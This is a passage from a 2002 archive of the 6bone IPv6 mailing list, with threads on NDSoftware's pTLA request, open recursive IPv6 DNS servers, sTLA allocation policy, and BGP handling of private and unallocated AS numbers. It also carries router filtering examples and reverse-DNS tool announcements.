  <pre wrap="">On Sun, 2002-10-20 at 00:24, Gregg C Levine wrote:

Hello Gregg,

  </pre>
  <blockquote type="cite">
    <pre wrap="">I have been lurking on this list, for a good number of years now.
Sometimes even posting a comment, or a gripe. This is more along the
lines of both. I have been monitoring the traffic discussing
NDSOFTWARE's request. Both finding the original message to Bob Fink, and
the list, and everything. Sorry Mr. Deffayet, I disagree. For one, you
do need to spell out who will be using the service. Is it for your
company? Yourself? What? Who, even? Unless you can spell out neatly the
answers to my questions, I am inclined to agree with everyone else. I am
also agreeing with the people I have disagreed with early on. I might
also, add, even Master Yoda's methods of speaking isn't that confusing.
    </pre>
  </blockquote>
  <pre wrap=""><!---->
Who will be using the service:

- NDSoftware (my company)

- many projects (here a list of main projects):

* IPv6-FR
A non profit organisation for the developement of IPv6 in France
IPv6-FR run a tunnel broker and have currently 200 users, each user have
a /48
=&gt; NDSoftware provide to IPv6-FR: 1 /35 and a native IPv6 connectivity.

* NextGenCollective
IPv6 research
<a class="moz-txt-link-freetext" href="http://www.nextgencollective.net/">http://www.nextgencollective.net/</a>
NGC[NextGen Collective] provides IPv6-over-IPv4 tunnels to people all
over the world. 
ASpath-tree: <a class="moz-txt-link-freetext" href="http://www.nextgencollective.net/bgp4/">http://www.nextgencollective.net/bgp4/</a> (AS65526 is my old
private ASN)
=&gt; NDSoftware provide to NextGenCollective: 2 /44, 1 /40, 1 /36 and a
tunnel IPv6 over IPv4 with BGP (full transit).

* IPng.org.uk
IPv6 tunnel broker
<a class="moz-txt-link-freetext" href="http://www.ipng.org.uk/">http://www.ipng.org.uk/</a>
ASpath-tree: <a class="moz-txt-link-freetext" href="http://www.ipng.org.uk/bgp/bgp-page-complete.html">http://www.ipng.org.uk/bgp/bgp-page-complete.html</a> (AS65526
is my old private ASN)
=&gt; NDSoftware provide to IPng.org.uk: 1 /44, 1 /40 and a tunnel IPv6
over IPv4 with BGP (full transit).

* ILS
Italian Linux Society
ILS provide IPv6 connectivity to italian user groups and organizations
experimenting with IPv6.
ILS host the IPv6 IRC server calvino.freenode.net
=&gt; NDSoftware provide to ILS: 1 /44 and a tunnel IPv6 over IPv4 with BGP
(full transit).

* ATI
A tunisian ISP
<a class="moz-txt-link-freetext" href="http://www.ipv6net.tn/">http://www.ipv6net.tn/</a>
<a class="moz-txt-link-freetext" href="http://www.ipv6net.tn/ipv6-Tunisia.pdf">http://www.ipv6net.tn/ipv6-Tunisia.pdf</a>
=&gt; NDSoftware provide to ATI: 1 /44 and a tunnel IPv6 over IPv4 with BGP
(full transit). NDSoftware have help ATI for the IPv6 deployement in
tunisia. ATI plan later to request a pTLA.

* FABIONNE
A projet for do IPv6 Debian package
<a class="moz-txt-link-freetext" href="http://debian-ipv6.fabionne.net/">http://debian-ipv6.fabionne.net/</a>
=&gt; NDSoftware provide to FABIONNE:  a tunnel IPv6 over IPv4 with BGP
(full transit) and host a mirror for this projet
(<a class="moz-txt-link-freetext" href="http://debian-ipv6.mirrors.ndsoftwarenet.com/">http://debian-ipv6.mirrors.ndsoftwarenet.com/</a>).

ESMT
An university in Senegal
=&gt; NDSoftware provide to ESMT: 1 /44 and a tunnel IPv6 over IPv4.


Best regards,

Nicolas DEFFAYET

_______________________________________________
6bone mailing list
<a class="moz-txt-link-abbreviated" href="mailto:6bone@mailman.isi.edu">6bone@mailman.isi.edu</a>
<a class="moz-txt-link-freetext" href="http://mailman.isi.edu/mailman/listinfo/6bone">http://mailman.isi.edu/mailman/listinfo/6bone</a>


  </pre>
</blockquote>
<br>
</body>
</html>

--------------090105000307020306000203--


From tom@blazing.de Wed Oct 23 12:26:49 2002
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From: "Tom Spier" <Tom@blazing.de>
To: "6Bone" <6bone@ISI.EDU>
References: <Pine.LNX.4.44.0210231732510.20919-100000@odin.hiof.no>
Subject: Re: [6bone] recursive DNS servers?
Date: Wed, 23 Oct 2002 21:25:43 +0200
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Wednesday, October 23, 2002 5:34 PM Andreas Bergstrøm wrote:


> Today, Feico Dillema uttered these words:
>
> > dns.pasta.cs.uit.no is recursive and authorative and currently open
> > and "in the wild".
>
> The same goes for shienar.ipv6.hiof.no
>
> May you live long and spamless,
>
> Andreas Bergstrøm
>
> --

ns1.blazing.de open&available, too.

Greets
Tom


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On Tue, 22 Oct 2002, Bill Manning wrote:

>
> a question came up recently that I could not answer.
>
> 	how many recursive IPv6 transport aware DNS
> 	servers are there?

NL.linux.org and imladris.surriel.com are up and running.

Rik
-- 
Bravely reimplemented by the knights who say "NIH".
http://www.surriel.com/		http://distro.conectiva.com/
Current spamtrap:  <a href=mailto:"october@surriel.com">october@surriel.com</a>


From pekkas@netcore.fi Wed Oct 23 14:12:41 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: David Kessens <david@iprg.nokia.com>
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On Tue, 22 Oct 2002, David Kessens wrote:
> On Sun, Oct 20, 2002 at 05:36:10PM +0300, Pekka Savola wrote:
> > 
> > Oh, Nokia must also have colored the truth slightly..
> 
> What are you trying to insinuate here ?!?
> Please refrain from such comments if you don't know the details.

Indeed, the applications are not public so I do not, unfortunately, know
details :-(
 
> We got our address space under the old rules. 

Ah, I didn't notice this.

> Despite this, it really
> shouldn't be too hard for any large multinational company to show
> plans for assigning address space to 200 other organizations. No need
> to color the truth at all.

You must be using some other definition of other organizations than I do.  
Further, I don't believe there are even 200 countries out there. :-)

Let's see.  Extending your interpretation any company with 200 employees
could be entitled to a block: they _do_ want to provide xDSL service and
proper addresses to their employees (who are private users) using the
recommended /48 assignment!

Right..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From tony@lava.net Thu Oct 24 02:03:04 2002
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On Tue, 22 Oct 2002, Bill Manning wrote:

> a question came up recently that I could not answer.
>
> 	how many recursive IPv6 transport aware DNS
> 	servers are there?
>
> I have a couple that are "out there" for folks to use
> but don't know of any others.   Are people running these
> things "in the wild" or are they mostly behind walled-gardens?

We had 2 until yesterday:  ns1.ipv6.lava.net, ns2.ipv6.lava.net.  The ns1
box is undergoing an OS upgrade this week.


From dlc@chiba.halibut.com Thu Oct 24 12:33:48 2002
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Subject: Re: [6bone] recursive DNS servers?
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On Tue, Oct 22, 2002 at 08:55:25PM -0400, John Klos wrote:
> Hi,
> 
> > I would suggest using the "Block images from this server" option in
> > mozilla on such sites. It's really just a work around until doubleclick
> > figures out how much the IPv6 community needs to see their ads.
> 
> I simply added my own zone for doubleclick and for a few other nasty ad
> servers. At first I used my main web server's IP address, but sometimes
> people would get the whole page updated with the Apache error message, so
> I changed the IP address they all point to to 127.0.0.1. Instant time-out
> and no full page errors.

I can do this for my personal (home DSL/work desktop) nameservers,
but it's probably not appropriate for me to do so on my production
nameservers, especially since one of my employer's products is a web
cache and we're integrating and testing IPv6 code.

I hacked up a perl script to test public (authoritative) nameserver
behavior w.r.t. A vs. AAAA queries over IPv4.  Extracting hostnames
from our production HTTP cache logs, for an 80-minute period, I found
the following:

Of 7,131 unique hostnames, for which I queried 6,808 unique listed
nameservers,

    Queries for 36 of those hostnames produced valid A responses but
    had timeouts for AAAA.  Only about 1/4 of those seem to be dedicated
    spam^W ad/banner servers, but they have more "weight" due to their 
    usage pattern.

    23 queries resulted in a NOERROR reponse for A, but NXDOMAIN for AAAA.

    17 queries resulted in a valid response for A, but SERVFAIL for AAAA.

    1 query resulted in a NOERROR reponse for A, but NOTIMP for
    AAAA. (That server also answers NOTIMP for CH TXT version.bind query.)

Maybe it's time to hack a "match-query-type" option into BIND 9's 
"view" concept?  :o)




From david@iprg.nokia.com Thu Oct 24 15:55:19 2002
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Date: Thu, 24 Oct 2002 15:57:37 -0700
From: David Kessens <david@IPRG.nokia.com>
To: Pekka Savola <pekkas@netcore.fi>
Cc: ipv6-wg@ripe.net, 6bone@ISI.EDU
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Pekka,

On Thu, Oct 24, 2002 at 09:24:13AM +0300, ext Pekka Savola wrote:
>
> I wonder what interpretation of "other organizations" is used when RIPE
> NCC evaluates the applications..?

Ask the RIPE NCC, fill in an application yourself, ask other people
how they qualified (that's why some smart people hire a consult with
experience with this kind applications to help them out).

> ---------- Forwarded message ----------
> Date: Thu, 24 Oct 2002 00:12:29 +0300 (EEST)
> From: Pekka Savola <pekkas@netcore.fi>
> To: David Kessens <david@iprg.nokia.com>
> Cc: 6bone@ISI.EDU
> Subject: [6bone] Re: sTLA alloc policies
> 
> On Tue, 22 Oct 2002, David Kessens wrote:
> > On Sun, Oct 20, 2002 at 05:36:10PM +0300, Pekka Savola wrote:
> > > 
> > > Oh, Nokia must also have colored the truth slightly..
> > 
> > What are you trying to insinuate here ?!?
> > Please refrain from such comments if you don't know the details.
> 
> Indeed, the applications are not public so I do not, unfortunately, know
> details :-(

so don't spread rumors about us coloring the truth while you have no
proof of any wrongdoing.

> > We got our address space under the old rules. 
> 
> Ah, I didn't notice this.

again, please check the facts before you send a mail.

> > Despite this, it really
> > shouldn't be too hard for any large multinational company to show
> > plans for assigning address space to 200 other organizations. No need
> > to color the truth at all.
> 
> You must be using some other definition of other organizations than I do.  
> Further, I don't believe there are even 200 countries out there. :-)
> 
> Let's see.  Extending your interpretation any company with 200 employees
> could be entitled to a block: they _do_ want to provide xDSL service and
> proper addresses to their employees (who are private users) using the
> recommended /48 assignment!

No. No. No!

I didn't say that 'other organizations' are equal to one employee. You
are making that up in your own fantasy world.

You seem to be living in a very simple world. Do you have any idea how
multi-national organizations work ?!? They have partnerships, joint
ventures, cooperations with other organizations, are member of
associations, support non-profit organizations, are part of standards
bodies etc.. Many of these organizations are not owned or operated in
any kind of way by the multi-national organization and still the
multi-national organization can provide ip addresses and connectivity
to such 'other organizations'.

David K.
PS also, instead of suggesting there might not be 200 countries, you
   could have done some more research:
   the UN has 191 memberstates.
   the number of countries in the world is close to this number,
   depending on your definition of what constitutes a country. 
   So you are correct that there are less than 200 countries, but 
   it is close enough to 200 that it really doesn't help you.
---

From pekkas@netcore.fi Fri Oct 25 00:38:49 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: David Kessens <david@IPRG.nokia.com>
cc: ipv6-wg@ripe.net, <6bone@ISI.EDU>
Subject: Re: [6bone] Re: sTLA alloc policies (fwd)
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On Thu, 24 Oct 2002, David Kessens wrote:
> On Thu, Oct 24, 2002 at 09:24:13AM +0300, ext Pekka Savola wrote:
> >
> > I wonder what interpretation of "other organizations" is used when RIPE
> > NCC evaluates the applications..?
> 
> Ask the RIPE NCC, fill in an application yourself, ask other people
> how they qualified (that's why some smart people hire a consult with
> experience with this kind applications to help them out).

I don't think RIPE NCC would respond to queries like that with useful
answers, or people would tell exactly how they qualified (or often colored
the truth).  In any case, we already have sTLA so there is no need to fill
anything.
 
> > > What are you trying to insinuate here ?!?
> > > Please refrain from such comments if you don't know the details.
> > 
> > Indeed, the applications are not public so I do not, unfortunately, know
> > details :-(
> 
> so don't spread rumors about us coloring the truth while you have no
> proof of any wrongdoing.

Depending on the interpretation of "other organizations", the behaviour is 
self-evidently "questionable" or self-evidently "okay".
 
> > > Despite this, it really
> > > shouldn't be too hard for any large multinational company to show
> > > plans for assigning address space to 200 other organizations. No need
> > > to color the truth at all.
> > 
> > You must be using some other definition of other organizations than I do.  
> > Further, I don't believe there are even 200 countries out there. :-)
> > 
> > Let's see.  Extending your interpretation any company with 200 employees
> > could be entitled to a block: they _do_ want to provide xDSL service and
> > proper addresses to their employees (who are private users) using the
> > recommended /48 assignment!
> 
> No. No. No!
> 
> I didn't say that 'other organizations' are equal to one employee. You
> are making that up in your own fantasy world.

I didn't say you said so: read again.  I said that is relatively logical
extension of the arguments you said.  "employees" are private persons, 
different legal entities.
 
> You seem to be living in a very simple world. Do you have any idea how
> multi-national organizations work ?!? They have partnerships, joint
> ventures, cooperations with other organizations, are member of
> associations, support non-profit organizations, are part of standards
> bodies etc.. Many of these organizations are not owned or operated in
> any kind of way by the multi-national organization and still the
> multi-national organization can provide ip addresses and connectivity
> to such 'other organizations'.

No, I really don't have that much idea.

I'm not saying that using multiple /48 for big multinational organizations 
is easy.  Far from it.  It must be more difficult than some small ISP's 
getting sTLA.  But that's how the current rules are.

> PS also, instead of suggesting there might not be 200 countries, you
>    could have done some more research:
>    the UN has 191 memberstates.
>    the number of countries in the world is close to this number,
>    depending on your definition of what constitutes a country. 
>    So you are correct that there are less than 200 countries, but 
>    it is close enough to 200 that it really doesn't help you.

I don't waste my time on irrelevant research, which is why I used 'might 
not be'.  Whether there is 190 or 210 doesn't really matter.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From tvo@EnterZone.Net Fri Oct 25 03:15:55 2002
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Date: Fri, 25 Oct 2002 06:15:51 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
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This is not a problem:

ipv6-site:    COMPENDIUM-AR
origin:       AS45328
descr:        Compendium, Buenos Aires, AR
country:      AR
prefix:       3FFE:8260::/28

*THIS* is a problem:


Border2-BGP> sh ipv6 bgp 3ffe:8260:2010:1:2a0:c9ff:fe01:9600
BGP routing table entry for 3ffe:8260::/28
Paths: (11 available, best #8, table Default-IP-Routing-Table)

  1930 2200 5511 1752 1849 1890 45328
    3ffe:31ff:0:ffff::50 from 3ffe:31ff:0:ffff::50 (193.136.2.250)
    (fe80::c188:202)
      Origin IGP, localpref 100, valid, external
      Last update: Fri Oct 25 04:21:38 2002

  24765 1849 1890 45328
    3ffe:4005:0:1::26 from 3ffe:4005:0:1::26 (62.24.229.1)
      Origin IGP, localpref 100, valid, external
      Community: 24765:100 24765:750 24765:1000 24765:6001
      Last update: Fri Oct 25 04:20:33 2002

  8002 5594 8277 45328
    3ffe:80c0:200:5::36 from 3ffe:80c0:200:5::36 (206.252.222.79)
      Origin IGP, localpref 100, valid, external
      Last update: Fri Oct 25 04:20:29 2002

  4554 6939 8379 8277 45328
    2001:4f0:1001:1::2 from 2001:4f0:1001:1::2 (192.0.1.1)
    (fe80::c620:401)
      Origin IGP, metric 1, localpref 100, valid, external
      Last update: Fri Oct 25 03:54:56 2002

  6435 6939 8379 8277 45328
    3ffe:8160:0:1::c from 3ffe:8160:0:1::c (64.65.64.152)
    (fe80::4041:4098)
      Origin IGP, localpref 100, valid, external
      Last update: Fri Oct 25 03:47:04 2002

  109 6939 8379 8277 45328
    3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
    (fe80::806b:f0fe)
      Origin IGP, localpref 100, valid, external


Come on, if Nicolas can get an ASN, so can COMPENDIUM.


Beyond that, if you peer with someone who uses a private ASN, use the
following command (or equiv for your router) on the peering session:

 neighbor 3ffe:xxxx::xxxx remove-private-AS

If your router code doesn't support that command or one like it, might I
suggest that you UPGRADE? 

---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |




From cfaber@fpsn.net Fri Oct 25 03:48:53 2002
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Subject: [6bone] Reverse DNS with BIND and IPv6
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Hi folks,

Just thought i'd let anyone that's interested know that I've put
together a simple web based cgi system to aid in the building of
IPv6 IP6.INT records for BIND:

	http://tools.fpsn.net/ipv6-inaddr/

-- 
Colin Faber
(303) 736-5160
fpsn.net, Inc.

* Black holes are where God divided by zero. *

From gert@Space.Net Fri Oct 25 05:46:02 2002
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Date: Fri, 25 Oct 2002 14:45:58 +0200
From: Gert Doering <gert@space.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] private ASNs and the Default-Free-Zone
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Hi,

On Fri, Oct 25, 2002 at 06:15:51AM -0400, John Fraizer wrote:
> This is not a problem:
> 
> ipv6-site:    COMPENDIUM-AR
> origin:       AS45328
> descr:        Compendium, Buenos Aires, AR
> country:      AR
> prefix:       3FFE:8260::/28

I disagree.  It's not a major problem, like the one below, but I think
this object should not be there either.

> *THIS* is a problem:
> 
> 
> Border2-BGP> sh ipv6 bgp 3ffe:8260:2010:1:2a0:c9ff:fe01:9600
> BGP routing table entry for 3ffe:8260::/28
> Paths: (11 available, best #8, table Default-IP-Routing-Table)
> 
>   1930 2200 5511 1752 1849 1890 45328

Strongly seconded.

[..]
> Come on, if Nicolas can get an ASN, so can COMPENDIUM.

And if you don't have an AS#, use a private AS, don't just grab any number
that seems to be available.

> Beyond that, if you peer with someone who uses a private ASN, use the
> following command (or equiv for your router) on the peering session:
> 
>  neighbor 3ffe:xxxx::xxxx remove-private-AS

And make sure that you never ever do transit through a private AS# - it
will really break everything related to BGP paths, like "find a short
path", or "troubleshoot weird problems".

Even better, never give transit to a private AS# either.

Give that enterprise connectivity, yes, but do it static, and don't
mess with BGP origin AS manipulations.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48540  (48282)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From basit@basit.cc Fri Oct 25 05:47:25 2002
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Subject: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October 2002
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Hello folks@6bone ,

 I like to favour Mr Deffayet on his pTLA request, I am speaking on behalf
of NextGenCollective (NGC), NGC is a reasearch organization that provides
ipv6 tunnels to over 150 users , We have NDSOFTWARE as our ipv6
upstream. NGC is housed at WSU (Wichita state university), USA, As a
matter of fact, in very begining , we were unable to find any support
of ipv6 , it was Mr Deffayet who helped us a lot, so its wrong to say that
he is an offensive person, I see him working almost all the time
supporting his customers.  and not to mention NDSOFTWARE does supports
many research based ipv6 projects, NGC, and IPng are one of them.
and NGC in turns plan to deploy IPv6 on whole WSU network infrastructure.
We also plan to tunnel with KU and KSU in cojunction with HiPECC
(http://www.hipecc.twsu.edu) Internet2 project at WSU. Even we are
analyzing the feasibility of deploying IPv6 on laptops issued to students.
NGC is also providing IPSec tunnels to those who wants with dynamic updates.
We are also planning to look for feasbility for establishing a mobile
cluster using ipv6.
http://www.linuxsymposium.org/2002/view_txt.php?text=abstract&talk=36

 As a matter of fact, being on irc is fun, you meet nice persons
and get help, it always the case with me.  On the other hand, persons
working in cisco, motorolla, Nokia are of no real help, I tried to contact
some persons in Nokia (listed at http://www.nokia.com/ipv6/ ) several
times , no reply i got, but if i email Mr Deffayet for some question or
ask for some support, i usually get reply on the same day. I give credit
to Mr Deffayet of what is  currently being done under NGC as he is the one
who is supporting that research work. I beleive NOKIA , cisco and other
BIG giants don't support IPv6 work at universities that much that
NDSOFTWARE is trying to do.

 My opinion is , if NDSOFTWARE's request is fully RFC2772 compliant,
there should be no objection of approving its pTLA 's request, or
ppl who are against it should provide strong reasons in terms of RFC2772
to oppose the request. Its not ONLY the right of BIG organizations
(like Nokia, Cisco etc) to become pTLA, other relatively small
organization can serve as a pTLA 's also if they obey the rules
stated in RFC. We should encourage all.

- basit
Graduate Student
MS Computer Science
Wichita state university
http://basit.cc
http://ip6.basit.cc




From nicolas.deffayet@ndsoftware.net Fri Oct 25 05:57:20 2002
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Subject: Re: [6bone] Reverse DNS with BIND and IPv6
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Colin Faber <cfaber@fpsn.net>
Cc: "6bone@ISI.EDU" <6bone@ISI.EDU>
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On Fri, 2002-10-25 at 12:48, Colin Faber wrote:

Hi Colin,
 
> Just thought i'd let anyone that's interested know that I've put
> together a simple web based cgi system to aid in the building of
> IPv6 IP6.INT records for BIND:
> 
> 	http://tools.fpsn.net/ipv6-inaddr/
> 

Do you plan to add too a .arpa support ?

Best Regards,

Nicolas DEFFAYET


From pekkas@netcore.fi Fri Oct 25 06:03:34 2002
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Date: Fri, 25 Oct 2002 16:03:26 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
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Subject: [6bone] I-D ACTION:draft-savola-v6ops-6bone-mess-00.txt (fwd)
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I updated this slightly over v2 version.

Comments etc. of course appreciated.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

---------- Forwarded message ----------
Date: Fri, 25 Oct 2002 07:28:14 -0400
From: Internet-Drafts@ietf.org
To: IETF-Announce:  ;
Cc: v6ops@ops.ietf.org
Subject: I-D ACTION:draft-savola-v6ops-6bone-mess-00.txt

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Moving from 6bone to IPv6 Internet
	Author(s)	: P. Savola
	Filename	: draft-savola-v6ops-6bone-mess-00.txt
	Pages		: 13
	Date		: 2002-10-24
	
Currently, IPv6 Internet is, globally considered, inseparable from
the 6bone network.  The 6bone has been built as a tighly meshed
tunneled topology.  As the number of participants has grown, it has
become an untangible mess, hindering the real deployment of IPv6 due
to low quality of connections.  This memo discusses the nature and
the state of 6bone/IPv6 Internet, points out problems and outlines a
few ways to start fixing them; also, some rough operational
guidelines for different-sized organizations are presented.  The most
important issues are: not offering transit to everyone and real
transit operators being needed to take a more active role.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-00.txt

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From nicolas.deffayet@ndsoftware.net Fri Oct 25 06:11:54 2002
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Subject: Re: [6bone] private ASNs and the Default-Free-Zone
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@ISI.EDU
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On Fri, 2002-10-25 at 12:15, John Fraizer wrote:

> This is not a problem:
> 
> ipv6-site:    COMPENDIUM-AR
> origin:       AS45328
> descr:        Compendium, Buenos Aires, AR
> country:      AR
> prefix:       3FFE:8260::/28

Do you think that it's normal to allocate a pTLA with an unallocated ASN
?

> Beyond that, if you peer with someone who uses a private ASN, use the
> following command (or equiv for your router) on the peering session:
> 
>  neighbor 3ffe:xxxx::xxxx remove-private-AS
> 
> If your router code doesn't support that command or one like it, might I
> suggest that you UPGRADE? 

remove-private-AS will remove the private ASN in ASpath, not the route
with private ASN...

Exemple:

3ffe:ffff::/32

1 2 3 65000

If AS3 use remove-private-AS, other network will get this:

3ffe:ffff::/32

1 2 3

AS3 is not the source of 3ffe:ffff::/32, the source is 65000

=> private ASN _MUST_ send their routes with the community no-export
(like i do before)

Using this for don't announce route with private ASN is better:

ip as-path access-list private-asn-out deny
_(6451[2-9]|645[2-9][0-9]|64[6-9][0-9][0-9]|65[0-4][0-9][0-9]|655[0-2][0-9]|6553[0-5])_
ip as-path access-list private-asn-out permit .*

Best Regards,

Nicolas DEFFAYET


From bortzmeyer@nic.fr Fri Oct 25 06:29:36 2002
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From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: Colin Faber <cfaber@fpsn.net>
Cc: "6bone@ISI.EDU" <6bone@ISI.EDU>
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On Fri, Oct 25, 2002 at 04:48:45AM -0600,
 Colin Faber <cfaber@fpsn.net> wrote 
 a message of 18 lines which said:

> Just thought i'd let anyone that's interested know that I've put
> together a simple web based cgi system to aid in the building of
> IPv6 IP6.INT records for BIND:
> 
> 	http://tools.fpsn.net/ipv6-inaddr/

I do not find it as useful as the command-line tool ipv6calc which can
do many other fun things.

ftp://ftp.bieringer.de/pub/linux/IPv6/ipv6calc

~ % ipv6calc --addr_to_ip6arpa 3ffe:b80:138c::/48 
c.8.3.1.0.8.b.0.e.f.f.3.ip6.arpa.


From raphit@sveren.raphit.net Fri Oct 25 06:31:40 2002
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Date: Fri, 25 Oct 2002 15:30:48 +0200
From: Raphael Bouaziz <raphit@noemie.org>
To: 6bone@ISI.EDU
Subject: Re: [6bone] private ASNs and the Default-Free-Zone
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On Fri, Oct 25, 2002, John Fraizer wrote:
>   109 6939 8379 8277 45328
>     3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
>     (fe80::806b:f0fe)
>       Origin IGP, localpref 100, valid, external
> 
> 
> Come on, if Nicolas can get an ASN, so can COMPENDIUM.
> 
> 
> Beyond that, if you peer with someone who uses a private ASN, use the
> following command (or equiv for your router) on the peering session:

But note that AS45328 does not belong to the private AS numbers
range (AS64512 - AS65535).

So, such announcements are totally bogus, _even internal_.

-- 
Raphael Bouaziz.
raphit@noemie.org - http://noemie.nerim.net/
Sysadmin Power Forever(TM).

From riel@conectiva.com.br Fri Oct 25 07:05:34 2002
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From: Rik van Riel <riel@conectiva.com.br>
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To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: John Fraizer <tvo@EnterZone.Net>, <6bone@ISI.EDU>, <horape@uninet.edu>
Subject: Re: [6bone] private ASNs and the Default-Free-Zone
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On 25 Oct 2002, Nicolas DEFFAYET wrote:
> On Fri, 2002-10-25 at 12:15, John Fraizer wrote:
>
> > This is not a problem:
> >
> > ipv6-site:    COMPENDIUM-AR
> > origin:       AS45328
> > descr:        Compendium, Buenos Aires, AR
> > country:      AR
> > prefix:       3FFE:8260::/28
>
> Do you think that it's normal to allocate a pTLA with an unallocated ASN
> ?

It's horrible, but when Horape got the COMPENDIUM pTLA he
quickly found out that ARIN plain _refused_ to give out ASNs
for ipv6-only sites.

I have heard some noises about an ipv4 multihoming site whose
ASN we might be allowed to use for ipv6, though. I hope to know
more about that soon.

> > Beyond that, if you peer with someone who uses a private ASN, use the
> > following command (or equiv for your router) on the peering session:
> >
> >  neighbor 3ffe:xxxx::xxxx remove-private-AS

> 3ffe:ffff::/32
> 1 2 3 65000
>
> If AS3 use remove-private-AS, other network will get this:
>
> 3ffe:ffff::/32
> 1 2 3
>
> AS3 is not the source of 3ffe:ffff::/32, the source is 65000

... which would violate RFC 2772, since AS3 wouldn't be the
only one announcing the address space in your example, since
COMPENDIUM has multiple links to the outside world.

I hope to be able to clear up this confusion soon, but as long
as the RIRs refuse to give out ASNs for sites that don't do
ipv4 multihoming COMPENDIUM will have to rely on the goodwill
of a friendly ipv4 site ... and I think Horape found one.

kind regards,

Rik
-- 
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From hgoes@eu.uu.net Fri Oct 25 07:12:56 2002
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From: Hans Goes <hgoes@eu.uu.net>
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Hi,

> >   109 6939 8379 8277 45328
> > Beyond that, if you peer with someone who uses a private ASN, use the
> > following command (or equiv for your router) on the peering session:
> But note that AS45328 does not belong to the private AS numbers
> range (AS64512 - AS65535).

I'm sorry, we're are AS1890 and I just brought down their bgp session.

We're moving in to a seperate ipv6 AS soon and will try to review our
ideas about some tunnels/peers during the move.

Hans Goes

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
V-Net: 711 2428
http://www.wcom.com/nl/



From bjorn@mork.no Fri Oct 25 07:20:50 2002
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To: John Fraizer <tvo@enterzone.net>
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Subject: Re: [6bone] private ASNs and the Default-Free-Zone
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John Fraizer <tvo@EnterZone.Net> writes:

> This is not a problem:
>
> ipv6-site:    COMPENDIUM-AR
> origin:       AS45328
[..]
> Beyond that, if you peer with someone who uses a private ASN, use the
> following command (or equiv for your router) on the peering session:
>
>  neighbor 3ffe:xxxx::xxxx remove-private-AS
>
> If your router code doesn't support that command or one like it, might I
> suggest that you UPGRADE? 

But AS45328 isn't private, it's just unallocated. That command will
remove AS64512 - AS65534, but shouldn't touch any other AS number.

See e.g.
http://www.juniper.net/techpubs/software/junos50/swconfig50-routing/html/bgp-config32.html


Bjørn

From tjc@ecs.soton.ac.uk Fri Oct 25 07:23:19 2002
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Date: Fri, 25 Oct 2002 15:23:10 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Abdul Basit <basit@basit.cc>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October 2002
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Hmm, so your IPv6 upstream is 4,000+ miles away on a different continent,
through presumably 10-15 IPv4 hops?  Interesting :)

I assume the I2 folks would be more than happy to give you connectivity
that would not involve your IPv6 traffic to other US universities going
twice across the pond.

Tim

On Fri, Oct 25, 2002 at 01:11:01PM -0500, Abdul Basit wrote:
> Hello folks@6bone ,
> 
>  I like to favour Mr Deffayet on his pTLA request, I am speaking on behalf
> of NextGenCollective (NGC), NGC is a reasearch organization that provides
> ipv6 tunnels to over 150 users , We have NDSOFTWARE as our ipv6
> upstream. NGC is housed at WSU (Wichita state university), USA, As a
> matter of fact, in very begining , we were unable to find any support
> of ipv6 , it was Mr Deffayet who helped us a lot, so its wrong to say that
> he is an offensive person, I see him working almost all the time
> supporting his customers.  and not to mention NDSOFTWARE does supports
> many research based ipv6 projects, NGC, and IPng are one of them.
> and NGC in turns plan to deploy IPv6 on whole WSU network infrastructure.
> We also plan to tunnel with KU and KSU in cojunction with HiPECC
> (http://www.hipecc.twsu.edu) Internet2 project at WSU. Even we are
> analyzing the feasibility of deploying IPv6 on laptops issued to students.
> NGC is also providing IPSec tunnels to those who wants with dynamic updates.
> We are also planning to look for feasbility for establishing a mobile
> cluster using ipv6.
> http://www.linuxsymposium.org/2002/view_txt.php?text=abstract&talk=36
> 
>  As a matter of fact, being on irc is fun, you meet nice persons
> and get help, it always the case with me.  On the other hand, persons
> working in cisco, motorolla, Nokia are of no real help, I tried to contact
> some persons in Nokia (listed at http://www.nokia.com/ipv6/ ) several
> times , no reply i got, but if i email Mr Deffayet for some question or
> ask for some support, i usually get reply on the same day. I give credit
> to Mr Deffayet of what is  currently being done under NGC as he is the one
> who is supporting that research work. I beleive NOKIA , cisco and other
> BIG giants don't support IPv6 work at universities that much that
> NDSOFTWARE is trying to do.
> 
>  My opinion is , if NDSOFTWARE's request is fully RFC2772 compliant,
> there should be no objection of approving its pTLA 's request, or
> ppl who are against it should provide strong reasons in terms of RFC2772
> to oppose the request. Its not ONLY the right of BIG organizations
> (like Nokia, Cisco etc) to become pTLA, other relatively small
> organization can serve as a pTLA 's also if they obey the rules
